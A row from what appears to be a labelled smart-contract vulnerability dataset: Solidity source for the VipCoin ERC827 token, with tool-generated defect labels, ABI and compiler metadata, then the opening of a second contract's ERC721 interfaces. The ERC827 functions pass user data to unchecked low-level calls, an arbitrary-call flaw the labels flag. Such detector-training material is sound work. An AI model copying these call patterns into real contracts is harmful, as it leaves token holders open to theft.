* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
@title ERC827 interface, an extension of ERC20 token standard
Interface of a ERC827 token, following the ERC20 standard with extra
methods to transfer value and data and execute calls in transfers and
approvals.
*/
contract ERC827 is ERC20 {
function approve( address _spender, uint256 _value, bytes _data ) public returns (bool);
function transfer( address _to, uint256 _value, bytes _data ) public returns (bool);
function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool);
}
/**
@title ERC827, an extension of ERC20 token standard
Implementation the ERC827, following the ERC20 standard with extra
methods to transfer value and data and execute calls in transfers and
approvals.
Uses OpenZeppelin StandardToken.
*/
contract ERC827Token is ERC827, StandardToken {
/**
@dev Addition to ERC20 token methods. It allows to
approve the transfer of value and execute a call with the sent data.
Beware that changing an allowance with this method brings the risk that
someone may use both the old and the new allowance by unfortunate
transaction ordering. One possible solution to mitigate this race condition
is to first reduce the spender's allowance to 0 and set the desired value
afterwards:
https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
@param _spender The address that will spend the funds.
@param _value The amount of tokens to be spent.
@param _data ABI-encoded contract call to call `_to` address.
@return true if the call function was executed successfully
*/
function approve(address _spender, uint256 _value, bytes _data) public returns (bool) {
require(_spender != address(this));
super.approve(_spender, _value);
require(_spender.call(_data));
return true;
}
/**
@dev Addition to ERC20 token methods. Transfer tokens to a specified
address and execute a call with the sent data on the same transaction
@param _to address The address which you want to transfer to
@param _value uint256 the amout of tokens to be transfered
@param _data ABI-encoded contract call to call `_to` address.
@return true if the call function was executed successfully
*/
function transfer(address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
super.transfer(_to, _value);
require(_to.call(_data));
return true;
}
/**
@dev Addition to ERC20 token methods. Transfer tokens from one address to
another and make a contract call on the same transaction
@param _from The address which you want to send tokens from
@param _to The address which you want to transfer to
@param _value The amout of tokens to be transferred
@param _data ABI-encoded contract call to call `_to` address.
@return true if the call function was executed successfully
*/
function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
super.transferFrom(_from, _to, _value);
require(_to.call(_data));
return true;
}
/**
* @dev Addition to StandardToken methods. Increase the amount of tokens that
* an owner allowed to a spender and execute a call with the sent data.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
* @param _data ABI-encoded contract call to call `_spender` address.
*/
function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.increaseApproval(_spender, _addedValue);
require(_spender.call(_data));
return true;
}
/**
* @dev Addition to StandardToken methods. Decrease the amount of tokens that
* an owner allowed to a spender and execute a call with the sent data.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
* @param _data ABI-encoded contract call to call `_spender` address.
*/
function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.decreaseApproval(_spender, _subtractedValue);
require(_spender.call(_data));
return true;
}
}
contract VanityToken_v3 is MintableToken, PausableToken, ERC827Token {
// Metadata
string public constant symbol = "VIP";
string public constant name = "VipCoin";
uint8 public constant decimals = 18;
string public constant version = "1.3";
function VanityToken_v3() public {
pause();
}
function recoverLost(ERC20Basic token, address loser) public onlyOwner {
token.transfer(loser, token.balanceOf(this));
}
function mintToMany(address[] patricipants, uint[] amounts) public onlyOwner {
require(paused);
require(patricipants.length == amounts.length);
for (uint i = 0; i < patricipants.length; i++) {
mint(patricipants[i], amounts[i]);
}
}
} | [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["507"]}, {"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["514"]}, {"defect": "Transaction_order_dependency", "type": "Business_logic", "severity": "Medium", "lines": ["442", "424"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["498", "500", "497", "499"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["77"]}] | [{"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"VanityToken_v3.sol": [348]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"VanityToken_v3.sol": [12, 13, 14, 15, 16, 17, 18, 19]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"VanityToken_v3.sol": [24, 25, 26, 27, 28, 29]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VanityToken_v3.sol": [139]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VanityToken_v3.sol": [359, 360, 361, 362, 363]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VanityToken_v3.sol": [439, 440, 441, 442, 443, 444, 445, 446]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VanityToken_v3.sol": [140]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VanityToken_v3.sol": [81, 82, 83, 84, 85]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VanityToken_v3.sol": [128, 129, 130, 127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VanityToken_v3.sol": [506, 507, 508]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VanityToken_v3.sol": [460, 461, 462, 463, 464, 465, 466, 467, 468]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VanityToken_v3.sol": [482, 483, 484, 485, 486, 487, 488, 489, 490]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VanityToken_v3.sol": [403, 404, 405, 406, 407, 408, 409, 410, 411]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VanityToken_v3.sol": [512, 513, 514, 515, 516, 517, 510, 511]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VanityToken_v3.sol": [253, 254, 255]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VanityToken_v3.sol": [421, 422, 423, 424, 425, 426, 427, 428]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [1]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [444]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [426]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [487]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [465]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [408]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [421]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [306]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [421]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [439]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [403]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [460]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [253]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [241]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [306]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [168]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [439]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [512, 513, 514, 515, 516, 517, 518, 519, 520, 494, 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [253]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [403]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [347]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [219]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [310]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [439]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [219]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [318]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [500]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [241]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [460]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [267]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [482]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [421]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [168]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [283]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [184]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [460]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [347]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [403]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [267]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [482]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [314]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [283]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [302]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [318]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [439]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [314]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [302]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [310]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [306]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [482]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VanityToken_v3.sol": [219]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"VanityToken_v3.sol": [507]}}] | [{"error": "Integer Overflow.", "line": 43, "level": "Warning"}, {"error": "Integer Overflow.", "line": 460, "level": "Warning"}, {"error": "Integer Overflow.", "line": 403, "level": "Warning"}, {"error": "Integer Overflow.", "line": 421, "level": "Warning"}, {"error": "Integer Overflow.", "line": 482, "level": "Warning"}, {"error": "Integer Overflow.", "line": 439, "level": "Warning"}, {"error": "Integer Overflow.", "line": 510, "level": "Warning"}] | [{"rule": "SOLIDITY_ERC20_APPROVE", "line": 241, "severity": 2}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 310, "severity": 2}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 403, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 514, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 514, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 150, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 374, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 375, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 376, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 403, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 421, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 439, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 460, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 482, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 510, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 510, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 152, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 154, "severity": 1}] | [{"constant":true,"inputs":[],"name":"mintingFinished","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"},{"name":"_data","type":"bytes"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"mint","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"version","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"},{"name":"_data","type":"bytes"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"},{"name":"_data","type":"bytes"}],"name":"decreaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"finishMinting","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"patricipants","type":"address[]"},{"name":"amounts","type":"uint256[]"}],"name":"mintToMany","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"token","type":"address"},{"name":"loser","type":"address"}],"name":"recoverLost","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"},{"name":"_data","type":"bytes"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"},{"name":"_data","type":"bytes"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[],"name":"MintFinished","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}] | v0.4.20+commit.3155dd80 | true | 200 | Default | false | bzzr://f289fcdb9f5b07469404e01e9d3f97462084d12e1bdaab94309f88f4411fedab |
||||
MOE | 0xb14e960fe339588fe431dfd51859ed24f1b1c9e4 | Solidity | // SPDX-License-Identifier: MIT
// Sources flattened with hardhat v2.9.1 https://hardhat.org
// File @openzeppelin/contracts/utils/introspection/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
